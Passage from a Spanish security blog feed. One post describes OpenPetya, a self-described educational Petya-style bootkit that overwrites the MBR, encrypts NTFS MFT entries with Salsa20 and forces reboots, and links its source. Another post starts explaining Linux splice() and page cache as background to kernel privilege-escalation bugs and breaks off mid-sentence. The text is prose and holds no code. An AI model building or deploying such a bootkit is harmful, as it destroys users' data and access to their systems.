width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9133539773684103848.post-1704928227726900959</id><published>2026-05-25T23:34:16.256+02:00</published><updated>2026-05-25T23:37:57.229+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="bootkit"/><category scheme="http://www.blogger.com/atom/ns#" term="maldev"/><category scheme="http://www.blogger.com/atom/ns#" term="malware"/><category scheme="http://www.blogger.com/atom/ns#" term="ransomware"/><category scheme="http://www.blogger.com/atom/ns#" term="Windows"/><title type='text'>Cuando el ransomware atacaba antes de arrancar Windows: explorando OpenPetya y la lógica detrás de un bootkit moderno</title><content type='html'>&lt;p&gt;OpenPetya es un proyecto que ha nacido como un ejercicio práctico para responder una pregunta que muchas veces queda a medias cuando se estudia malware histórico: ¿qué ocurre realmente por debajo del sistema operativo cuando un bootkit toma control del proceso de arranque?&lt;/p&gt;&lt;p&gt;Cuando se habla de Petya o NotPetya, la mayoría de explicaciones se detienen en la superficie: ransomware que cifra datos, interrumpe sistemas y deja una pantalla exigiendo una clave. Pero el comportamiento interno es mucho más interesante. Petya no se limitaba a ejecutarse dentro de Windows; alteraba el propio proceso de inicio del sistema. El ataque comenzaba antes de que el usuario llegara al escritorio, antes incluso de que gran parte del sistema operativo estuviera disponible.&lt;/p&gt;&lt;p&gt;OpenPetya intenta reconstruir esa lógica desde una perspectiva educativa.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxCr1MrakM9FhLhX70fzJ8Hyr-wIevv1iwCJlRYhkmmDNgQ9Nl3f3mc8L__BvcaChGwHey066nI7-w9JNfR9F9QzTMtb7jI2scZX328MeihOz0FY5jxsZhKBkLowQlXf2EIB-q3SWsKwFTlhsWE4RaoIpmDYZKL_X0xsryAqC-SA4Jugs1k6DRXUMbwojA/s787/openpetya.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;296&quot; data-original-width=&quot;787&quot; height=&quot;240&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxCr1MrakM9FhLhX70fzJ8Hyr-wIevv1iwCJlRYhkmmDNgQ9Nl3f3mc8L__BvcaChGwHey066nI7-w9JNfR9F9QzTMtb7jI2scZX328MeihOz0FY5jxsZhKBkLowQlXf2EIB-q3SWsKwFTlhsWE4RaoIpmDYZKL_X0xsryAqC-SA4Jugs1k6DRXUMbwojA/w640-h240/openpetya.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;No pretende ser una réplica exacta de Petya ni de NotPetya. En lugar de perseguir una simulación perfecta, adopta una aproximación más enfocada en aprendizaje y análisis: implementar desde cero los mecanismos fundamentales que hacen funcionar un bootkit y entender cómo interactúan entre sí.&lt;/p&gt;&lt;p&gt;El proyecto está desarrollado utilizando Assembly, C y C++, una combinación especialmente adecuada para trabajar en niveles muy cercanos al hardware. Cada lenguaje cumple un papel distinto: Assembly permite controlar directamente las fases tempranas del arranque y las instrucciones de bajo nivel del procesador, mientras que C y C++ aportan estructura para la lógica más compleja.&lt;/p&gt;&lt;p&gt;La arquitectura gira alrededor de varios elementos principales.&lt;/p&gt;&lt;p&gt;El primer componente es un &lt;b&gt;Master Boot Record&lt;/b&gt; personalizado o MBR. El MBR es una pequeña región ubicada al inicio del disco que tradicionalmente contiene información necesaria para iniciar el sistema operativo. Normalmente su función es relativamente simple: localizar el siguiente componente de arranque y transferirle el control.&amp;nbsp;&lt;/p&gt;&lt;p&gt;OpenPetya reemplaza este comportamiento por uno propio. En lugar de continuar con la secuencia estándar de arranque de Windows, el MBR modificado carga un payload adicional: un bootloader de segunda etapa o Stage-2. Aquí es donde ocurre la mayor parte de la lógica del proyecto.&lt;/p&gt;&lt;p&gt;El &lt;b&gt;Stage-2 &lt;/b&gt;actúa como núcleo funcional y contiene mecanismos responsables de:&lt;/p&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;transición del procesador a Protected Mode&lt;/li&gt;&lt;li&gt;operaciones criptográficas basadas en Salsa20&lt;/li&gt;&lt;li&gt;cifrado y descifrado de estructuras NTFS&lt;/li&gt;&lt;li&gt;validación de contraseñas&lt;/li&gt;&lt;li&gt;restauración del sistema&lt;/li&gt;&lt;li&gt;interfaz visual durante el arranque&lt;/li&gt;&lt;/ul&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;/p&gt;&lt;p&gt;Uno de los aspectos más interesantes es la transición entre Real Mode y Protected Mode.&lt;/p&gt;&lt;p&gt;Al iniciarse una arquitectura x86 tradicional, el procesador comienza ejecutándose en modo Real de 16 bits, un entorno extremadamente limitado heredado de diseños antiguos. En este modo existen restricciones importantes:&lt;/p&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;espacio de memoria reducido&lt;/li&gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;li&gt;direccionamiento limitado&lt;/li&gt;&lt;li&gt;ausencia de capacidades avanzadas&lt;/li&gt;&lt;li&gt;pocas facilidades para programas complejos&lt;/li&gt;&lt;/ul&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;/p&gt;&lt;p&gt;Por esta razón OpenPetya cambia el procesador a Protected Mode de 32 bits antes de ejecutar lógica de mayor nivel.&lt;/p&gt;&lt;p&gt;Este cambio permite acceder a:&lt;/p&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;modelos de memoria más amplios&lt;/li&gt;&lt;li&gt;mejores mecanismos de segmentación&lt;/li&gt;&lt;li&gt;instrucciones más avanzadas&lt;/li&gt;&lt;li&gt;estructuras necesarias para operaciones complejas&lt;/li&gt;&lt;/ul&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;/p&gt;&lt;p&gt;Una vez realizado el cambio de modo, comienza el proceso relacionado con &lt;b&gt;almacenamiento y cifrado.&lt;/b&gt;&lt;/p&gt;&lt;p&gt;En lugar de cifrar archivos individuales, OpenPetya adopta una estrategia inspirada en Petya y actúa directamente sobre una estructura crítica del sistema de archivos NTFS: la Master File Table o MFT.&lt;/p&gt;&lt;p&gt;La &lt;b&gt;MFT&lt;/b&gt; puede entenderse como una especie de índice central que describe prácticamente todos los archivos y directorios presentes en un volumen NTFS. Aunque el contenido físico de los archivos permanezca en disco, corromper o cifrar partes críticas de esta estructura hace extremadamente difícil acceder a ellos.&lt;/p&gt;&lt;p&gt;El proyecto implementa un mecanismo basado en &lt;b&gt;Salsa20&lt;/b&gt; para realizar estas operaciones. Salsa20 es un algoritmo criptográfico de flujo diseñado por Daniel J. Bernstein que destaca por su velocidad y simplicidad relativa. En OpenPetya se utiliza para demostrar cómo un bootkit podría aplicar procesos criptográficos dentro de un entorno extremadamente limitado, donde todavía no existen librerías de alto nivel disponibles.&amp;nbsp; Sin embargo, el proyecto introduce algunas simplificaciones deliberadas.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6I5AMx3PO93b3Y-rC7AZ52n2rqKunH134R7TQFxt2Rz_k42dqTtsGwVSBIhTXJ2tbJgPMFE-5MkuGQpl9g61cdRQzNgnq8rzxFtGkVXNSaBJA5ucxBeMgD_mVr7FiYuzHoVuJpLAmeA_r1WBY6u1kKvkTcoRRwJKXlREPijKcWasBZhYjIlt0nxaKyf6a/s787/openpetya2.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;467&quot; data-original-width=&quot;787&quot; height=&quot;380&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6I5AMx3PO93b3Y-rC7AZ52n2rqKunH134R7TQFxt2Rz_k42dqTtsGwVSBIhTXJ2tbJgPMFE-5MkuGQpl9g61cdRQzNgnq8rzxFtGkVXNSaBJA5ucxBeMgD_mVr7FiYuzHoVuJpLAmeA_r1WBY6u1kKvkTcoRRwJKXlREPijKcWasBZhYjIlt0nxaKyf6a/w640-h380/openpetya2.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;A diferencia de variantes reales de ransomware, OpenPetya no incorpora infraestructura Command and Control (C2). Tampoco busca dificultar el análisis mediante técnicas avanzadas de evasión.&lt;/p&gt;&lt;p&gt;Además, después del cifrado almacena copias de seguridad de la información MFT en sectores ocultos del disco en formato sin cifrar.&lt;/p&gt;&lt;p&gt;Esta decisión puede parecer extraña desde una perspectiva ofensiva, pero tiene sentido en un entorno educativo: el objetivo no es destruir información ni crear una amenaza real, sino permitir que el investigador pueda observar el comportamiento interno y comprender cómo funciona la recuperación.&lt;/p&gt;&lt;p&gt;El proceso completo puede resumirse de la siguiente forma:&lt;/p&gt;&lt;p&gt;1. Inicialmente el usuario ejecuta OpenPetya.exe y selecciona una contraseña. El instalador permite elegir unidades y preparar los componentes necesarios.&lt;/p&gt;&lt;p&gt;2. Posteriormente el sistema se reinicia manualmente o mediante un mecanismo basado en NtRaiseHardError, una API interna de Windows utilizada para generar una interrupción crítica.&lt;/p&gt;&lt;p&gt;3. Durante el siguiente arranque el MBR personalizado toma el control y carga el Stage-2.&lt;/p&gt;&lt;p&gt;4. Una vez cargado:&lt;/p&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;el procesador cambia a Protected Mode&lt;/li&gt;&lt;li&gt;se ejecuta la lógica criptográfica&lt;/li&gt;&lt;li&gt;se seleccionan estructuras críticas del MFT&lt;/li&gt;&lt;li&gt;se realiza el proceso de cifrado&lt;/li&gt;&lt;/ul&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;/p&gt;&lt;p&gt;5. El sistema vuelve a reiniciarse. En el siguiente arranque aparece una interfaz previa al sistema operativo solicitando una contraseña. Si la contraseña introducida coincide:&lt;/p&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;la información cifrada es restaurada&lt;/li&gt;&lt;li&gt;la cadena original de arranque vuelve a su estado previo&lt;/li&gt;&lt;li&gt;el bootkit elimina sus propios componentes&lt;/li&gt;&lt;li&gt;Windows continúa iniciando normalmente&lt;/li&gt;&lt;/ul&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;/p&gt;&lt;p&gt;Otro detalle interesante es lo que OpenPetya decide no implementar. El proyecto evita comportamientos clásicos utilizados por Petya para manipular psicológicamente al usuario, como pantallas falsas de CHKDSK o mecanismos de ingeniería social.&lt;/p&gt;&lt;p&gt;La intención es mantener el foco sobre la parte realmente interesante: la mecánica interna del boot process. Más que una demostración de ransomware, OpenPetya funciona como un laboratorio de investigación sobre:&lt;/p&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;bootkits&lt;/li&gt;&lt;li&gt;arquitectura de bootloaders&lt;/li&gt;&lt;li&gt;internals de Windows&lt;/li&gt;&lt;li&gt;programación Assembly&lt;/li&gt;&lt;li&gt;estructuras NTFS&lt;/li&gt;&lt;li&gt;criptografía aplicada&lt;/li&gt;&lt;li&gt;malware de bajo nivel&lt;/li&gt;&lt;/ul&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtSI9SOLPnsJ5jq-2L4uYX-r-WuWN4FyrxKQ_zxFvvNYu9_Z0Dum1V9wkmJ4idpjBq_KQds5E81SjwB3QvPiNjn-BwyFS7hUPnuYMyPDAWDdwYkmZD8FQaAa7-J5lvjdWMzeT01FUaQpa6jl1oFYPIVceOJ8RpcuF4EahdRvLjwlxuO4NHUPhEZdReGutA/s1472/demo.gif&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;696&quot; data-original-width=&quot;1472&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtSI9SOLPnsJ5jq-2L4uYX-r-WuWN4FyrxKQ_zxFvvNYu9_Z0Dum1V9wkmJ4idpjBq_KQds5E81SjwB3QvPiNjn-BwyFS7hUPnuYMyPDAWDdwYkmZD8FQaAa7-J5lvjdWMzeT01FUaQpa6jl1oFYPIVceOJ8RpcuF4EahdRvLjwlxuO4NHUPhEZdReGutA/s16000/demo.gif&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;El valor real del proyecto no está en reproducir un malware histórico. Está en convertir conceptos normalmente ocultos bajo capas de abstracción en piezas observables y comprensibles. Porque cuando se analiza malware moderno, entender el proceso suele ser mucho más útil que memorizar indicadores o firmas. Los indicadores cambian. La lógica que hay detrás de ellos suele permanecer.&lt;br /&gt;&lt;p&gt;&lt;b&gt;Proyecto&lt;/b&gt;: &lt;a href=&quot;https://github.com/iss4cf0ng/OpenPetya&quot;&gt;https://github.com/iss4cf0ng/OpenPetya&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;Fuentes&lt;/b&gt;: &lt;a href=&quot;https://iss4cf0ng.github.io/2026/05/23/2026-5-23-OpenPetya/&quot; target=&quot;_blank&quot;&gt;[Learning] OpenPetya: A Proof-of-Concept of Petya Ransomware&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;Refs.&amp;nbsp;&lt;/b&gt;&lt;/p&gt;&lt;ul dir=&quot;auto&quot; style=&quot;background-color: white; box-sizing: border-box; color: #1f2328; font-size: 16px; margin-bottom: 16px; margin-top: 0px; padding-left: 2em;&quot;&gt;&lt;li style=&quot;box-sizing: border-box;&quot;&gt;&lt;a href=&quot;https://iss4cf0ng.github.io/2026/04/12/2026-4-12-Petya/&quot; rel=&quot;nofollow&quot; style=&quot;background-color: rgba(0, 0, 0, 0); box-sizing: border-box; color: #0969da; text-underline-offset: 0.2rem;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Analyzing Petya&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li style=&quot;box-sizing: border-box; margin-top: 0.25em;&quot;&gt;&lt;a href=&quot;https://iss4cf0ng.github.io/2026/04/13/2026-4-13-NotPetya/&quot; rel=&quot;nofollow&quot; style=&quot;background-color: rgba(0, 0, 0, 0); box-sizing: border-box; color: #0969da; text-underline-offset: 0.2rem;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Analyzing NotPetya&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li style=&quot;box-sizing: border-box; margin-top: 0.25em;&quot;&gt;&lt;a href=&quot;https://iss4cf0ng.github.io/2026/04/08/2026-4-8-MbrAndBootLoader/&quot; rel=&quot;nofollow&quot; style=&quot;background-color: rgba(0, 0, 0, 0); box-sizing: border-box; color: #0969da; text-underline-offset: 0.2rem;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Simple MBR And Bootloader&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li style=&quot;box-sizing: border-box; margin-top: 0.25em;&quot;&gt;&lt;a href=&quot;https://iss4cf0ng.github.io/2026/05/10/2026-5-10-OpenBootloader/&quot; rel=&quot;nofollow&quot; style=&quot;background-color: rgba(0, 0, 0, 0); box-sizing: border-box; color: #0969da; text-underline-offset: 0.2rem;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;OpenBootloader&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li style=&quot;box-sizing: border-box; margin-top: 0.25em;&quot;&gt;&lt;a href=&quot;https://iss4cf0ng.github.io/2026/04/28/2026-4-28-RootkitAndBootkit/&quot; rel=&quot;nofollow&quot; style=&quot;background-color: rgba(0, 0, 0, 0); box-sizing: border-box; color: #0969da; text-underline-offset: 0.2rem;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Rootkits and Bootkits Notes&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li style=&quot;box-sizing: border-box; margin-top: 0.25em;&quot;&gt;&lt;a href=&quot;https://iss4cf0ng.github.io/2026/04/21/2026-4-21-PcAsmLang/&quot; rel=&quot;nofollow&quot; style=&quot;background-color: rgba(0, 0, 0, 0); box-sizing: border-box; color: #0969da; text-underline-offset: 0.2rem;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;PC Assembly Language Notes&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li style=&quot;box-sizing: border-box; margin-top: 0.25em;&quot;&gt;&lt;a href=&quot;https://iss4cf0ng.github.io/2026/05/16/2026-5-16-SeriousCryptography/&quot; rel=&quot;nofollow&quot; style=&quot;background-color: rgba(0, 0, 0, 0); box-sizing: border-box; color: #0969da; text-underline-offset: 0.2rem;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Serious Cryptography Notes&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content><link rel='replies' type='application/atom+xml' href='https://www.hackplayers.com/feeds/1704928227726900959/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://www.hackplayers.com/2026/05/openpetya-logica-bootkit-moderno.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/1704928227726900959'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/1704928227726900959'/><link rel='alternate' type='text/html' href='https://www.hackplayers.com/2026/05/openpetya-logica-bootkit-moderno.html' title='Cuando el ransomware atacaba antes de arrancar Windows: explorando OpenPetya y la lógica detrás de un bootkit moderno'/><author><name>Vicente Motos</name><uri>http://www.blogger.com/profile/03053036399006390105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVEWEmNj--NFGI_Y_2STA7IMLfue6x71mRjQrvjGe12QsgVS-J1ZQnMaKmxQ_I45QgRmcb3sVqCKMQItltfuazSJeQ3OhyaaqSlUaUM0mJYwEBFXRXKxKVydd8XYCQnA/s220/CameraFun+-+2011-02-10+23.00.34.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxCr1MrakM9FhLhX70fzJ8Hyr-wIevv1iwCJlRYhkmmDNgQ9Nl3f3mc8L__BvcaChGwHey066nI7-w9JNfR9F9QzTMtb7jI2scZX328MeihOz0FY5jxsZhKBkLowQlXf2EIB-q3SWsKwFTlhsWE4RaoIpmDYZKL_X0xsryAqC-SA4Jugs1k6DRXUMbwojA/s72-w640-h240-c/openpetya.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9133539773684103848.post-8328748388060802172</id><published>2026-05-12T00:57:00.004+02:00</published><updated>2026-05-12T01:17:42.295+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="escalado de privilegios"/><category scheme="http://www.blogger.com/atom/ns#" term="exploits"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="LPE"/><category scheme="http://www.blogger.com/atom/ns#" term="vulnerabilidades"/><title type='text'>De copy-fail a DirtyFrag: cuando el zero-copy rompe el modelo de seguridad</title><content type='html'>&lt;p&gt;En Linux, la &lt;b&gt;page cache &lt;/b&gt;actúa como una capa intermedia entre disco y memoria. Cuando un archivo se lee, normalmente sus páginas quedan cacheadas en RAM. La gracia es que múltiples componentes del kernel pueden referenciar la misma página física sin copiar datos constantemente.&lt;/p&gt;&lt;p&gt;Eso es exactamente lo que hace splice(). En vez de:&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: courier;&quot;&gt;file → kernel buffer → userspace → socket,&lt;/span&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;b&gt;splice()&lt;/b&gt; intenta hacer:&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: courier;&quot;&gt;file page cache → pipe buffer → socket buffer,&lt;/span&gt; sin copias intermedias.&amp;nbsp;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWARkuD1A-HtYB6IEgV-m4CVFnNktoobs72xFUwrSJC66RYUCDmV6sDrFLpyCirQ1Hiikdkl3q4f_DeDAjhFW1BnMIs5L149v-sxO1DFXZIr35eSsrfr6Fib9xpV1fzN5i0YG8McfKIjWQm1WmBxKpNmQVu7OiUo0V12ynIwCjCdmmGgpFKn37ltDEGPkf/s1402/pagecache_y_splice.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1122&quot; data-original-width=&quot;1402&quot; height=&quot;512&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWARkuD1A-HtYB6IEgV-m4CVFnNktoobs72xFUwrSJC66RYUCDmV6sDrFLpyCirQ1Hiikdkl3q4f_DeDAjhFW1BnMIs5L149v-sxO1DFXZIr35eSsrfr6Fib9xpV1fzN5i0YG8McfKIjWQm1WmBxKpNmQVu7OiUo0V12ynIwCjCdmmGgpFKn37ltDEGPkf/w640-h512/pagecache_y_splice.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;Como veis pasamos de:&lt;div&gt;&lt;h3 data-end=&quot;333&quot; data-section-id=&quot;lrokd3&quot; data-start=&quot;314&quot;&gt;🔹 file (disco)&lt;/h3&gt;
&lt;p data-end=&quot;362&quot; data-start=&quot;334&quot;&gt;El archivo vive en el disco.&lt;/p&gt;
&lt;h3 data-end=&quot;384&quot; data-section-id=&quot;ruhq49&quot; data-start=&quot;364&quot;&gt;🔹 kernel buffer&lt;/h3&gt;
&lt;p data-end=&quot;418&quot; data-start=&quot;385&quot;&gt;Cuando haces &lt;code data-end=&quot;406&quot; data-start=&quot;398&quot;&gt;read()&lt;/code&gt;, el kernel:&lt;/p&gt;
&lt;ul data-end=&quot;478&quot; data-start=&quot;419&quot;&gt;
&lt;li data-end=&quot;444&quot; data-section-id=&quot;16phjf6&quot; data-start=&quot;419&quot;&gt;
lee el bloque del disco
&lt;/li&gt;
&lt;li data-end=&quot;478&quot; data-section-id=&quot;1fbjtec&quot; data-start=&quot;445&quot;&gt;
lo mete en un buffer del kernel
&lt;/li&gt;
&lt;/ul&gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;
&lt;h3 data-end=&quot;496&quot; data-section-id=&quot;t3cp9z&quot; data-start=&quot;480&quot;&gt;🔹 userspace&lt;/h3&gt;
&lt;p data-end=&quot;532&quot; data-start=&quot;497&quot;&gt;Luego, para que tu programa lo use:&lt;/p&gt;
&lt;ul data-end=&quot;632&quot; data-start=&quot;533&quot;&gt;
&lt;li data-end=&quot;592&quot; data-section-id=&quot;1e3le1x&quot; data-start=&quot;533&quot;&gt;
el kernel &lt;strong data-end=&quot;565&quot; data-start=&quot;545&quot;&gt;copia esos datos&lt;/strong&gt; desde el buffer del kernel
&lt;/li&gt;
&lt;li data-end=&quot;632&quot; data-section-id=&quot;19n9bvu&quot; data-start=&quot;593&quot;&gt;
hacia memoria de usuario (tu proceso)
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;647&quot; data-section-id=&quot;o5zy7b&quot; data-start=&quot;634&quot;&gt;🔹 socket&lt;/h3&gt;
&lt;p data-end=&quot;685&quot; data-start=&quot;648&quot;&gt;Si luego haces &lt;code data-end=&quot;672&quot; data-start=&quot;663&quot;&gt;write()&lt;/code&gt; a un socket:&lt;/p&gt;
&lt;ul data-end=&quot;798&quot; data-start=&quot;686&quot;&gt;
&lt;li data-end=&quot;730&quot; data-section-id=&quot;7d6g9q&quot; data-start=&quot;686&quot;&gt;
vuelves a copiar los datos desde userspace
&lt;/li&gt;
&lt;li data-end=&quot;768&quot; data-section-id=&quot;83ykef&quot; data-start=&quot;731&quot;&gt;
hacia buffers del kernel del socket
&lt;/li&gt;
&lt;li data-end=&quot;798&quot; data-section-id=&quot;vzeyao&quot; data-start=&quot;769&quot;&gt;
y finalmente salen a la red
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;813&quot; data-start=&quot;800&quot;&gt;Resultado:&lt;/p&gt;
&lt;ul data-end=&quot;872&quot; data-start=&quot;814&quot;&gt;
&lt;li data-end=&quot;843&quot; data-section-id=&quot;6lszs4&quot; data-start=&quot;814&quot;&gt;
varias copias grandes de memoria
&lt;/li&gt;
&lt;li data-end=&quot;872&quot; data-section-id=&quot;1i8du1b&quot; data-start=&quot;844&quot;&gt;
CPU gastada moviendo bytes&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;A:&lt;/p&gt;&lt;h3 data-end=&quot;1094&quot; data-section-id=&quot;mkjz23&quot; data-start=&quot;1072&quot;&gt;🔹 file page cache&lt;/h3&gt;&lt;p data-end=&quot;1123&quot; data-start=&quot;1095&quot;&gt;Cuando Linux lee un archivo:&lt;/p&gt;&lt;ul data-end=&quot;1194&quot; data-start=&quot;1124&quot;&gt;
&lt;li data-end=&quot;1156&quot; data-section-id=&quot;d4037a&quot; data-start=&quot;1124&quot;&gt;
lo guarda en la &lt;strong data-end=&quot;1156&quot; data-start=&quot;1142&quot;&gt;page cache&lt;/strong&gt;
&lt;/li&gt;
&lt;li data-end=&quot;1194&quot; data-section-id=&quot;croj5w&quot; data-start=&quot;1157&quot;&gt;
que es RAM compartida por el kernel
&lt;/li&gt;
&lt;/ul&gt;&lt;p data-end=&quot;1269&quot; data-start=&quot;1196&quot;&gt;Esto es clave: varios subsistemas pueden usar &lt;em data-end=&quot;1269&quot; data-start=&quot;1245&quot;&gt;la misma página física&lt;/em&gt;&lt;/p&gt;&lt;h3 data-end=&quot;1294&quot; data-section-id=&quot;16mkg26&quot; data-start=&quot;1276&quot;&gt;🔹 pipe buffer&lt;/h3&gt;&lt;p data-end=&quot;1357&quot; data-start=&quot;1295&quot;&gt;&lt;code data-end=&quot;1305&quot; data-start=&quot;1295&quot;&gt;splice()&lt;/code&gt; introduce un pipe como “intermediario inteligente”:&lt;/p&gt;&lt;ul data-end=&quot;1442&quot; data-start=&quot;1358&quot;&gt;
&lt;li data-end=&quot;1382&quot; data-section-id=&quot;1wi05q8&quot; data-start=&quot;1358&quot;&gt;
en vez de copiar datos
&lt;/li&gt;
&lt;li data-end=&quot;1442&quot; data-section-id=&quot;1gkvs0d&quot; data-start=&quot;1383&quot;&gt;
el pipe guarda &lt;strong data-end=&quot;1442&quot; data-start=&quot;1400&quot;&gt;referencias a páginas de la page cache&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;&lt;h3 data-end=&quot;1469&quot; data-section-id=&quot;1v7kuyv&quot; data-start=&quot;1449&quot;&gt;🔹 socket buffer&lt;/h3&gt;&lt;p data-end=&quot;1486&quot; data-start=&quot;1470&quot;&gt;Luego el socket:&lt;/p&gt;&lt;ul data-end=&quot;1539&quot; data-start=&quot;1487&quot;&gt;
&lt;li data-end=&quot;1517&quot; data-section-id=&quot;hujddy&quot; data-start=&quot;1487&quot;&gt;
toma esas mismas referencias
&lt;/li&gt;
&lt;li data-end=&quot;1539&quot; data-section-id=&quot;1gshjk0&quot; data-start=&quot;1518&quot;&gt;
y las envía por red
&lt;/li&gt;
&lt;/ul&gt;&lt;p data-end=&quot;1555&quot; data-start=&quot;1541&quot;&gt;Importante:&lt;/p&gt;&lt;p&gt;












&lt;/p&gt;&lt;ul data-end=&quot;1631&quot; data-start=&quot;1556&quot;&gt;
&lt;li data-end=&quot;1589&quot; data-section-id=&quot;hhoc1y&quot; data-start=&quot;1556&quot;&gt;
no se copian bytes entre etapas
&lt;/li&gt;
&lt;li data-end=&quot;1631&quot; data-section-id=&quot;1f9iefv&quot; data-start=&quot;1590&quot;&gt;
solo se “re-enlazan” páginas de memoria&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Esto mejora muchísimo el rendimiento, pero introduce una propiedad peligrosa: varios subsistemas comparten referencias al mismo backing memory. Y aquí empiezan los problemas.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXi9xX1IUBg1recOFEpT8qCOEzuAOh06EQoFQAGBXW1z8OQN-Ei7-XGI6TCdlrWdMi6DPhksjejNhDBAToQQSKTqw_HIl1J8Q4RHeGMlIEYjyb-hteFNB3666tysQUjHFzyshYZT0to1WaOAetHlIeou5fbeMPd8-LMhaHWMGdHKTiBXXhw-szqQEBPFjj/s1536/sharedfrags.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1024&quot; data-original-width=&quot;1536&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXi9xX1IUBg1recOFEpT8qCOEzuAOh06EQoFQAGBXW1z8OQN-Ei7-XGI6TCdlrWdMi6DPhksjejNhDBAToQQSKTqw_HIl1J8Q4RHeGMlIEYjyb-hteFNB3666tysQUjHFzyshYZT0to1WaOAetHlIeou5fbeMPd8-LMhaHWMGdHKTiBXXhw-szqQEBPFjj/s16000/sharedfrags.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;Como veis, un &lt;code&gt;skb&lt;/code&gt; puede contener 